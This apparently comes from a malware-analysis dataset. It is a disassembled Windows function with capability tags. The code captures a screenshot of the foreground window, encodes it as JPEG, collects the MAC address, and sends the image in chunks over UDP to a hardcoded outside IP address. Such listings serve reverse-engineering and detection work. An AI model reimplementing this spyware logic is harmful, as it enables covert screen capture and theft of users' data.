Function at 0x6de85e40
Capabilities:
Create udp socket
Get mac address on windows
Resolve function by parsing pe exports
Send data
Send data on socket

Disassembly:
push ebp
mov eax, 0xa2f3c
push edi
push esi
push ebx
call fcn.6de8af80
sub esp, eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp], 0x3e8
mov dword [esp + 0x38], eax
call eax
sub esp, 4
call fcn.6de83230
mov edx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ebx, [esp + 0x2f30]
mov edi, eax
mov eax, dword [0x6de8d00c]
mov dword [esp + 0x34], edx
lea esi, [eax + 0x2a6858]
call edx
mov dword [esp + 4], esi
mov ebp, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], ebx
mov dword [esp], eax
call ebp
sub esp, 0x14
mov esi, dword [esp + 0x2f30]
mov edx, dword [esp + 0x34]
call edx
mov dword [esp + 0x10], 0
add esi, 0x7c
mov dword [esp + 0xc], 1
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], eax
call ebp
sub esp, 0x14
cmp byte [esp + 0x2f30], 0
jg 0x6de85f00
test edi, edi
jg 0x6de85f00
xor eax, eax
add esp, 0xa2f3c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x5dc
mov eax, dword [esp + 0x38]
call eax
sub esp, 4
call fcn.6de83230
cmp edi, eax
je 0x6de85eee
lea eax, [esp + 0x8c]
mov dword [esp + 8], 0
mov dword [esp + 4], eax
lea eax, [esp + 0x68]
mov dword [esp], eax
mov dword [esp + 0x90], 0
mov dword [esp + 0x94], 0
mov dword [esp + 0x98], 0
mov dword [esp + 0x8c], 1
call sub.gdiplus.dll_GdiplusStartup
sub esp, 0xc
lea eax, [esp + 0x64]
mov dword [esp + 4], 1
mov dword [esp + 8], eax
mov dword [esp], 0
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
sub esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov ecx, eax
mov dword [esp + 0x40], eax
lea eax, [esp + 0x9c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.USER32.dll_GetWindowRect]
sub esp, 8
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [esp], eax
call dword [sym.imp.USER32.dll_GetDC]
sub esp, 4
mov dword [esp + 0x34], eax
mov dword [esp], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
xor edx, edx
sub esp, 4
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0xa4]
lea esi, [eax - 0xe6]
mov eax, dword [esp + 0xa8]
lea edi, [eax - 0x7e]
xor eax, eax
mov dword [esp + eax + 0x154], edx
add eax, 4
cmp eax, 0x1c
jb 0x6de85feb
mov ebp, dword [esp + 0x3c]
lea eax, [esp + 0x70]
mov dword [esp + 0x144], 0x28
mov dword [esp + 0xc], eax
lea eax, [esp + 0x144]
mov dword [esp + 0x148], 0xe6
mov dword [esp + 0x14c], 0xffffff82
mov dword [esp + 0x150], 0x180001
mov dword [esp + 0x70], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], ebp
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov ecx, dword [sym.imp.GDI32.dll_SelectObject]
sub esp, 0x18
mov dword [esp + 0x54], ecx
mov dword [esp + 0x44], eax
mov dword [esp + 4], eax
mov dword [esp], ebp
call ecx
sub esp, 8
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x18], esi
mov dword [esp + 0x50], eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], 0x7e
mov dword [esp + 0xc], 0xe6
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], ebp
call dword [sym.imp.GDI32.dll_BitBlt]
sub esp, 0x24
lea eax, [esp + 0x6c]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov eax, dword [esp + 0x44]
mov dword [esp], eax
call sub.gdiplus.dll_GdipCreateBitmapFromHBITMAP
sub esp, 0xc
lea esi, [esp + 0xac]
mov dword [esp], str.image_jpeg
mov dword [esp + 4], esi
call fcn.6de85530
mov eax, dword [0x6de8e6dc]
mov dword [esp + 8], esi
mov dword [esp + 0xe0], 1
mov dword [esp + 0xe4], eax
mov eax, dword [0x6de8e6e0]
mov dword [esp + 0xf8], 4
mov dword [esp + 0xe8], eax
mov eax, dword [0x6de8e6e4]
mov dword [esp + 0x74], 0x32
mov dword [esp + 0xec], eax
mov eax, dword [0x6de8e6e8]
mov dword [esp + 0xf4], 1
mov dword [esp + 0xf0], eax
lea eax, [esp + 0x74]
mov dword [esp + 0xfc], eax
lea eax, [esp + 0xe0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x64]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x6c]
mov dword [esp], eax
call sub.gdiplus.dll_GdipSaveImageToStream
mov esi, eax
sub esp, 0x10
mov eax, 1
test esi, esi
jne 0x6de85ef0
mov eax, dword [esp + 0x64]
mov edx, dword [eax]
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [edx + 0x30]
sub esp, 0xc
test eax, eax
js 0x6de86570
mov eax, 0xbff
cmp eax, dword [esp + 0x2f38]
mov eax, esi
sbb eax, dword [esp + 0x2f3c]
mov eax, 0xffffffff
jae 0x6de85ef0
mov dword [esp + 0x80], 0
mov eax, dword [esp + 0x64]
mov dword [esp + 0x84], 0
mov edx, dword [eax]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp], eax
call dword [edx + 0x14]
sub esp, 0x14
mov eax, dword [esp + 0x64]
lea ecx, [esp + 0x78]
mov edx, dword [eax]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], 0xa0000
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0x10
test eax, eax
js 0x6de86255
mov edx, dword [esp + 0x78]
test edx, edx
jne 0x6de862e2
mov eax, dword [esp + 0x64]
mov edx, dword [eax]
mov dword [esp], eax
call dword [edx + 8]
sub esp, 4
mov eax, dword [esp + 0x50]
mov edi, dword [esp + 0x3c]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x54]
mov dword [esp], edi
call eax
sub esp, 8
mov eax, dword [esp + 0x6c]
mov dword [esp], eax
call sub.gdiplus.dll_GdipDisposeImage
sub esp, 4
mov eax, dword [esp + 0x68]
mov dword [esp], eax
call sub.gdiplus.dll_GdiplusShutdown
mov ebx, dword [sym.imp.GDI32.dll_DeleteObject]
sub esp, 4
mov eax, dword [esp + 0x44]
mov dword [esp], eax
call ebx
sub esp, 4
mov dword [esp], edi
call ebx
sub esp, 4
mov ebx, dword [esp + 0x40]
mov eax, dword [esp + 0x34]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.USER32.dll_ReleaseDC]
sub esp, 8
mov dword [esp], ebx
call dword [sym.imp.USER32.dll_CloseWindow]
mov eax, 1
sub esp, 4
jmp 0x6de85ef0
lea eax, [esp + 0x7c]
mov dword [esp + 0x7c], 0x2800
mov dword [esp + 4], eax
lea eax, [esp + 0x730]
mov dword [esp], eax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
sub esp, 8
lea ebp, [esp + 0xce]
mov dword [esp + 4], 0x12
lea edi, [esp + 0x103]
mov dword [esp], ebp
call fcn.6de84cd0
mov dword [esp + 4], edi
mov dword [esp], ebp
call fcn.6de89ba0
nop
movzx eax, byte [edi + esi]
mov edx, eax
and eax, 0xf
shr dl, 4
movzx eax, byte [eax + str.0123456789abcdef]
movzx edx, dl
movzx edx, byte [edx + str.0123456789abcdef]
mov byte [esp + esi*2 + 0x124], al
mov byte [esp + esi*2 + 0x123], dl
add esi, 1
cmp esi, 0x20
jne 0x6de86330
mov dword [esp + 8], 0
mov dword [esp + 4], 2
mov dword [esp], 2
mov byte [esp + 0x163], 0
call sub.WSOCK32.DLL_socket
sub esp, 0xc
mov dword [esp + 0x58], eax
cmp eax, 0xffffffff
je 0x6de86581
mov eax, 2
mov word [esp + 0xbc], ax
movzx eax, word [0x6de94074]
mov dword [esp], eax
call sub.WSOCK32.DLL_htons
sub esp, 4
mov dword [esp], 0xabf42155
mov word [esp + 0xbe], ax
call sub.WSOCK32.DLL_htonl
sub esp, 4
mov dword [esp], 0
mov dword [esp + 0xc0], eax
mov eax, dword [esp + 0x78]
mov edi, eax
mov dword [esp + 0x48], eax
call sub.msvcrt.dll_time
mov dword [esp + 0x5c], eax
test edi, edi
jle 0x6de86255
xor edx, edx
lea esi, [esi]
nop
mov ebp, dword [esp + 0x48]
mov eax, 0x590
mov ecx, 0x170
lea esi, [ebx + edx]
lea edi, [esp + 0x170]
sub ebp, edx
cmp ebp, 0x590
cmovg ebp, eax
xor eax, eax
rep stosd dword es:[edi], eax
mov eax, dword [0x6de94070]
lea edi, [esp + 0x1a0]
mov dword [esp + 0x170], 0x19a5
mov dword [esp + 0x174], eax
mov eax, dword [0x6de94064]
mov dword [esp + 0x178], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x17c], eax
mov eax, dword [esp + 0x123]
mov dword [esp + 0x180], eax
mov eax, dword [esp + 0x127]
mov dword [esp + 0x184], eax
mov eax, dword [esp + 0x12b]
mov dword [esp + 0x188], eax
mov eax, dword [esp + 0x12f]
mov dword [esp + 0x18c], eax
mov eax, dword [esp + 0x133]
mov dword [esp + 0x190], eax
mov eax, dword [esp + 0x137]
mov dword [esp + 0x194], eax
mov eax, dword [esp + 0x13b]
mov dword [esp + 0x198], eax
mov eax, dword [esp + 0x13f]
mov dword [esp + 0x19c], eax
cmp ebp, 4
jb 0x6de864d8
mov ecx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
test ebp, 2
je 0x6de864ed
movzx eax, word [esi]
mov ecx, 2
mov word [edi], ax
test ebp, 1
je 0x6de864fc
movzx eax, byte [esi + ecx]
mov byte [edi + ecx], al
lea eax, [esp + 0xbc]
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], eax
lea eax, [esp + 0x170]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x58]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x5c0
mov dword [esp], eax
mov dword [esp + 0x4c], edx
call sub.WSOCK32.DLL_sendto
sub esp, 0x18
mov edx, dword [esp + 0x4c]
mov eax, dword [esp + 0x38]
mov dword [esp], 5
add edx, ebp
mov dword [esp + 0x4c], edx
call eax
sub esp, 4
mov edx, dword [esp + 0x4c]
cmp dword [esp + 0x48], edx
jg 0x6de86400
jmp 0x6de86255
mov dword [esp], str.Failed_to_get_stream_stats.
call sub.msvcrt.dll_puts
jmp 0x6de861dd
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
sub esp, 4
call sub.WSOCK32.DLL_WSACleanup
mov eax, 1
jmp 0x6de85ef0